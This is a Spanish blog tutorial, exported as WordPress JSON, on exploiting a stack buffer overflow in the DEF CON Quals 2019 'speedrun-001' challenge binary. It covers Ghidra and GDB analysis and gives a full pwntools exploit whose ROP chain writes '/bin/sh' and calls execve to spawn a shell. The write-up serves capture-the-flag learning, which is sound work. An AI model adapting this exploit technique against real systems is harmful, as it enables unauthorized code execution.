{"id":16113,"date":"2022-04-23T02:00:00","date_gmt":"2022-04-23T00:00:00","guid":{"rendered":"https:\/\/fwhibbit.es\/?p=16113"},"modified":"2022-04-23T14:00:34","modified_gmt":"2022-04-23T12:00:34","slug":"exploit-development-stack-based-buffer-overflow-i","status":"publish","type":"post","link":"https:\/\/fwhibbit.es\/exploit-development-stack-based-buffer-overflow-i","title":{"rendered":"Exploit Development – Stack Based Buffer Overflow I"},"content":{"rendered":"\n

Buenos dias!! hace tiempo que no publico nada, y mencionaron hace poco por Twitter una entrada sobre ingenier\u00eda inversa de hace unos a\u00f1os y me dije, porque no volver a escribir. Seg\u00fan el CWE-121 Stack-based Buffer Overflow, \u00abA stack-based buffer overflow condition is a condition where the buffer being overwritten is allocated on the stack (i.e., is a local variable or, rarely, a parameter to a function)<\/em>. There are generally several security-critical data on an execution stack that can lead to arbitrary code execution\u00bb.<\/p>\n\n\n\n

Usaremos como PoC (Prueba de concepto) un binario de la DEF CON QUALS 19<\/strong>. Esta est\u00e1ticamente compilado y tampoco se puede ejecutar c\u00f3digo en el stack, tiene la protecci\u00f3n NX habilitado. NX<\/strong> es la abreviatura de stack no ejecutable. Su significado radica en que la regi\u00f3n de memoria no es ejecutable. As\u00ed que si hay c\u00f3digo perfectamente v\u00e1lido (c\u00f3digo en ensamblador), no se puede ejecutar debido a sus permisos. Podemos usar vmmap<\/strong> desde GDB para ver los permisos en las asignaciones de memoria: <\/p>\n\n\n\n

\"\"<\/figure>\n\n\n\n

Como se puede apreciar en la imagen anterior se puede leer y escribir, pero no ejecutar nada. Es decir, si escribimos un shellcode<\/em> aprovechando alguna vulnerabilidad no ejecutar\u00e1 su c\u00f3digo por tanto no nos sirve esa opci\u00f3n. Tampoco hay libc ya que esta est\u00e1ticamente compilado y todas las funciones que se necesitan est\u00e1n en el propio binario. Debido a esto existen un mont\u00f3n de gadgets potenciales de uso en un ROP (explicado m\u00e1s adelante).<\/p>\n\n\n\n

\"\"<\/figure>\n\n\n\n

\u00bfEntonces c\u00f3mo podemos realizar el bypass? No podemos ejecutar c\u00f3digo desde el stack (shellcode). Mirando las regiones de memoria con la protecci\u00f3n NX activado, vemos que las regiones de memoria tienen algunos espacios de memoria ejecutables donde se almacenan las instrucciones. Podemos aprovecharlos para ejecutar c\u00f3digo haciendo uso de ROP (Return-Oriented Programming).<\/p>\n\n\n\n

En el escenario que se nos plantea, podemos aprovechar que no tiene la protecci\u00f3n PIE lo que nos har\u00e1 el trabajo m\u00e1s factible. Position Independent Executable (PIE) es otra mitigaci\u00f3n binaria extremadamente similar a ASLR (Es de sistema, siempre damos por hecho que esta habilitado). Se da en las regiones de c\u00f3digo\/memoria del binario. Las direcciones del binario son siempre las mismas de las secciones como .text <\/strong>siendo una ventaja, no necesitamos un leak (t\u00e9cnica que nos permite conocer partes\/enteras de una direcci\u00f3n). <\/p>\n\n\n\n

An\u00e1lisis est\u00e1tico <\/h2>\n\n\n\n

Antes de comenzar el an\u00e1lisis est\u00e1tico tenemos que probar el binario, interactuar con la aplicaci\u00f3n en si.<\/p>\n\n\n\n

\"\"<\/figure>\n\n\n\n

En este caso nos da la opci\u00f3n de introducir (algo) y luego se ve reflejado nuestro input en una especie de printf?<\/strong>. Si usamos strace<\/strong> podemos tracear que funciones se usa: <\/p>\n\n\n\n

\"\"<\/figure>\n\n\n\n

Una recomendaci\u00f3n es usar Ghidra<\/strong>. Gracias a su decompilador podremos ver el c\u00f3digo en C del binario. Tardar\u00e1 un poco en analizar ya que esta est\u00e1ticamente compilado. Tambi\u00e9n para no estar completamente perdidos, es recomendable ver las referencias a cadenas ya que as\u00ed sabemos que parte de c\u00f3digo se usan esas strings y ver la parte de c\u00f3digo que nos interesa analizar. <\/p>\n\n\n\n

\"\"<\/figure>\n\n\n\n

Una vez encontradas las referencias nos sale el c\u00f3digo seguidamente mostrado. En la parte de desensamblado cogemos la direcci\u00f3n para poder tenerlas a mano a la hora de poner breakpoints en el an\u00e1lisis din\u00e1mico con GDB. Una direcci\u00f3n a tener en cuenta podr\u00eda ser 0x400c0e<\/strong>.<\/p>\n\n\n\n

undefined8\nFUN_00400bc1(undefined8 param_1,undefined8 param_2,undefined8 param_3,undefined8 param_4,\n            undefined8 param_5,undefined8 param_6)\n\n{\n  long lVar1;\n  \n  FUN_00410590(PTR_DAT_006b97a0,0,2,0,param_5,param_6,param_2);\n  lVar1 = FUN_0040e790(\"DEBUG\");\n  if (lVar1 == 0) {\n    FUN_00449040(5);\n  }\n  FUN_00400b4d();\n  FUN_00400b60();\n  FUN_00400bae();\n  return 0;\n}<\/code><\/pre>\n\n\n\n
Esa direcci\u00f3n corresponde a la llamada a la funci\u00f3n FUN_00400b4d(). Esa funci\u00f3n es un write<\/strong> o un puts<\/strong>. Las funciones que nos interesa son las siguientes: <\/p>\n\n\n\n
void FUN_00400b60(void)\n\n{\n  undefined local_408 [1024];\n  \n  write(\"Any last words?\");\n  read(0,local_408,2000);\n  write(\"This will be the last thing that you say: %s\\n\",local_408);\n  return;\n}<\/code><\/pre>\n\n\n\n
Y esta de aqu\u00ed: <\/p>\n\n\n\n
undefined8 read(undefined8 param_1,undefined8 param_2,undefined8 param_3)\n\n{\n  undefined4 uVar1;\n  \n  if (DAT_006bc80c == 0) {\n    syscall();\n    return 0;\n  }\n  uVar1 = FUN_0044be40();\n  syscall();\n  FUN_0044bea0(uVar1,param_2,param_3);\n  return 0;\n}<\/code><\/pre>\n\n\n\n
Este \u00faltimo es muy interesante. Parece que est\u00e1 escaneando nuestra entrada haciendo una llamada al sistema (syscall), en lugar de utilizar una funci\u00f3n como scanf<\/strong> o fgets<\/strong>. Un syscall<\/strong> es esencialmente una forma en el que tu programa solicite al SO o al Kernel que haga algo. Mirando el c\u00f3digo en ensamblador, vemos que establece el registro RAX igual a 0 xoreando eax por s\u00ed mismo. Para la arquitectura Linux x64, el contenido del registro rax decide qu\u00e9 syscall se ejecuta. Y cuando miramos en la tabla de syscall, corresponde con sys_read<\/strong>. https:\/\/blog.rchapman.org\/posts\/Linux_System_Call_Table_for_x86_64\/<\/a><\/p>\n\n\n\n
0x4498aa    xor    eax, eax\n0x4498ac    syscall \n0x4498ae    cmp    rax, -0x1000<\/code><\/pre>\n\n\n\n
An\u00e1lisis din\u00e1mico<\/h2>\n\n\n\n
As\u00ed que con eso, podemos ver que est\u00e1 escaneando en 2000 bytes (0x7d0) de entrada en el buffer que puede contener 1024 bytes (Buffer Overflow).<\/p>\n\n\n\n
0x4498ac    syscall  <SYS_read>\n        fd: 0x0 (\/dev\/pts\/1)\n        buf: 0x7fffffffde00 \u25c2\u2014 0x0\n        nbytes: 0x7d0<\/code><\/pre>\n\n\n\n
Tenemos un desbordamiento con el que podemos sobrescribir la direcci\u00f3n de retorno (RET) y conseguir la ejecuci\u00f3n del c\u00f3digo. La pregunta ahora es \u00bfc\u00f3mo lo hacemos?. Mi estrategia es optar por usar sys_execve<\/strong> para ejecutar \/bin\/sh<\/strong> y obtener ejecuci\u00f3n de c\u00f3digo, pero para ello tenemos que escribir la string \u00ab\/bin\/sh\u00bb en alg\u00fan sitio, al igual que ejecutar esa syscall. <\/p>\n\n\n\n
Haremos una \u00abcadena\u00bb ROP (Return Oriented Programming) y usaremos el desbordamiento del buffer para ejecutarla. Una cadena ROP se compone de gadgets, que son trozos de c\u00f3digo (asm) en el propio binario que terminan en una instrucci\u00f3n ret (llev\u00e1ndolo al siguiente gadget). Esencialmente, s\u00f3lo enlazaremos trozos del c\u00f3digo del binario, para poder obtener ejecuci\u00f3n de c\u00f3digo. Como todo esto es c\u00f3digo v\u00e1lido (no estamos ejecutando nada en el stack), no tenemos que preocuparnos de que el c\u00f3digo no sea ejecutable (son direcciones que apuntan a esos gadgets). Como la protecci\u00f3n PIE est\u00e1 desactivada, conocemos las direcciones de todas las instrucciones del binario (no necesitamos leak). Adem\u00e1s, como est\u00e1 enlazado est\u00e1ticamente, significa que es un binario grande con muchos gadgets (esta las funciones que usa el binario de la libc). <\/p>\n\n\n\n
Para poder construir el syscall necesitamos: <\/p>\n\n\n\n
RAX<\/td>SYSCALL<\/td>RDI<\/td>RSI<\/td>RDX<\/td><\/tr>
59<\/td>sys_execve<\/td>const char *filename \u00ab\/bin\/sh\u00bb<\/td>const char *const argv[]<\/td>const char *const envp[]<\/td><\/tr><\/tbody><\/table><\/figure>\n\n\n\n
La string \u00ab\/bin\/sh\u00bb no esta contenida en el binario debido a que no se ejecuta esa syscall. Tendremos que hacer que el registro RDI este el puntero donde escribamos la string \u00ab\/bin\/sh\u00bb. \u00bfC\u00f3mo escribimos? Pues haciendo uso de un ROP. La idea ya quedo descrita con anterioridad pero lo repetimos, b\u00e1sicamente necesitamos sobreescribir aprovechando el buffer overflow el contenido de RET, con lo que nosotros queramos, en este caso tendremos que usar gadget. <\/p>\n\n\n\n
  1. Sobreescribir ret para tener el control. Exactamente tenemos que enviar 1032*A+\u00bbret overwrite\u00bb con gadget v\u00e1lido. <\/li><\/ol>\n\n\n\n
    En este caso como prueba no usaremos un gadget v\u00e1lido sino simplemente una direcci\u00f3n del c\u00f3digo, en este caso 0x400b60 para ver si de verdad hemos sobrescrito bien. El exploit tendr\u00eda esta forma: <\/p>\n\n\n\n
    from pwn import *\n\n# process\nio = process('.\/speedrun-001')\n\n# payload\npayload = b\"\"\npayload += b\"A\"*1032 # Padding\npayload += p64(0x00400b60) # Go to function()\n\n\n\n# Send \nio.sendline(payload)\n\nio.interactive()<\/code><\/pre>\n\n\n\n
    \"\"<\/figure>\n\n\n\n
    Vemos que me ejecuta de nuevo la funci\u00f3n imprimi\u00e9ndome por salida est\u00e1ndar la string \u00abAny last words?\u00bb. El segundo paso ser\u00eda escribir \u00ab\/bin\/sh\u00bb en .data<\/strong>. Como ya vimos al principio es \u00abwriteable\u00bb por tanto perfecto, no tenemos problemas. <\/p>\n\n\n\n
    2. Encontrar un sitio donde escribir \u00ab\/bin\/sh\u00bb, yo he elegido en 0x6b9248 (.data). <\/p>\n\n\n\n
    3. Encontrar un gadget donde copiar la string y moverla al puntero donde se acceder\u00e1. Podemos usar ROPgadget para encontrar gadget acordes. En este caso tendremos que hacer pop <registro> para sacar del stack lo siguiente que esta en el stack (recordamos que es un BoF, por tanto controlamos todo). L\u00f3gicamente ser\u00e1 la \u00ab\/bin\/sh\u00bb. <\/p>\n\n\n\n
    4. Finalmente tenemos que mover el valor de RAX al contenido del valor de RDX. En este caso el contenido del valor es b\u00e1sicamente la string y el valor de RDX es el puntero.<\/p>\n\n\n\n
    #write \/bin\/sh to .data 0x6b9248\nrop += p64(0x0000000000415664) # pop rax ; ret\nrop += b\"\/bin\/sh\\x00\"\nrop += p64(0x00000000004498b5) # pop rdx ; ret\nrop += p64(0x6b9248) # .data\nrop += p64(0x0000000000418397) # mov qword ptr [rdx], rax ; ret<\/code><\/pre>\n\n\n\n
    5. Una vez tenemos ya la string ahora es simplemente hacer la syscall sys_execve<\/strong>. Seg\u00fan la tabla anterior, en ensamblador la llamada a la syscall tendr\u00eda la siguiente forma:<\/p>\n\n\n\n
    pop rax, 0x3b\npop rdi, 0x6b9248\npop rsi, 0x0\npop rdx, 0x0\nsyscall<\/code><\/pre>\n\n\n\n
    6. El exploit final quedar\u00eda de la siguiente manera: <\/p>\n\n\n\n
    from pwn import *\n\n# process\nio = process('.\/speedrun-001')\ncontext.log_level = 'debug'\n\n\n#pid = gdb.attach(io, gdbscript='''\n#b *0x400c0e\n#''')\n\n# rop\nrop = b\"\"\nrop += b\"A\"*1032 # Padding\n\n#write \/bin\/sh to .data 0x6b9248\nrop += p64(0x0000000000415664) # pop rax ; ret\nrop += b\"\/bin\/sh\\x00\"\nrop += p64(0x00000000004498b5) # pop rdx ; ret\nrop += p64(0x6b9248) # .data\nrop += p64(0x0000000000418397) # mov qword ptr [rdx], rax ; ret\n\n# syscall\nrop += p64(0x0000000000415664) # pop rax ; ret\nrop += p64(0x3b) # el valor 59 correspondiente a la syscall\nrop += p64(0x0000000000400686) # pop rdi ; ret\nrop += p64(0x6b9248) # .data\nrop += p64(0x00000000004101f3) # pop rsi ; ret\nrop += p64(0)\nrop += p64(0x00000000004498b5) # pop rdx ; ret\nrop += p64(0)\nrop += p64(0x000000000040129c) # syscall\n\n# Send\nio.sendline(rop)\n\nio.interactive()<\/code><\/pre>\n\n\n\n
    \"\"<\/figure>\n\n\n\n
    Espero que sea de utilidad, saludos! @naivenom<\/a>. <\/p>\n\n
    Twittear<\/a><\/div>\n","protected":false},"excerpt":{"rendered":"
    Buenos dias!! hace tiempo que no publico nada, y mencionaron hace poco por Twitter una entrada sobre ingenier\u00eda inversa de hace unos […]<\/p>\n","protected":false},"author":2,"featured_media":16127,"comment_status":"closed","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[125,140],"tags":[],"class_list":["post-16113","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-analisis-de-vulnerabilidades","category-explotacion"],"_links":{"self":[{"href":"https:\/\/fwhibbit.es\/wp-json\/wp\/v2\/posts\/16113","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/fwhibbit.es\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/fwhibbit.es\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/fwhibbit.es\/wp-json\/wp\/v2\/users\/2"}],"replies":[{"embeddable":true,"href":"https:\/\/fwhibbit.es\/wp-json\/wp\/v2\/comments?post=16113"}],"version-history":[{"count":12,"href":"https:\/\/fwhibbit.es\/wp-json\/wp\/v2\/posts\/16113\/revisions"}],"predecessor-version":[{"id":16133,"href":"https:\/\/fwhibbit.es\/wp-json\/wp\/v2\/posts\/16113\/revisions\/16133"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/fwhibbit.es\/wp-json\/wp\/v2\/media\/16127"}],"wp:attachment":[{"href":"https:\/\/fwhibbit.es\/wp-json\/wp\/v2\/media?parent=16113"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/fwhibbit.es\/wp-json\/wp\/v2\/categories?post=16113"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/fwhibbit.es\/wp-json\/wp\/v2\/tags?post=16113"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}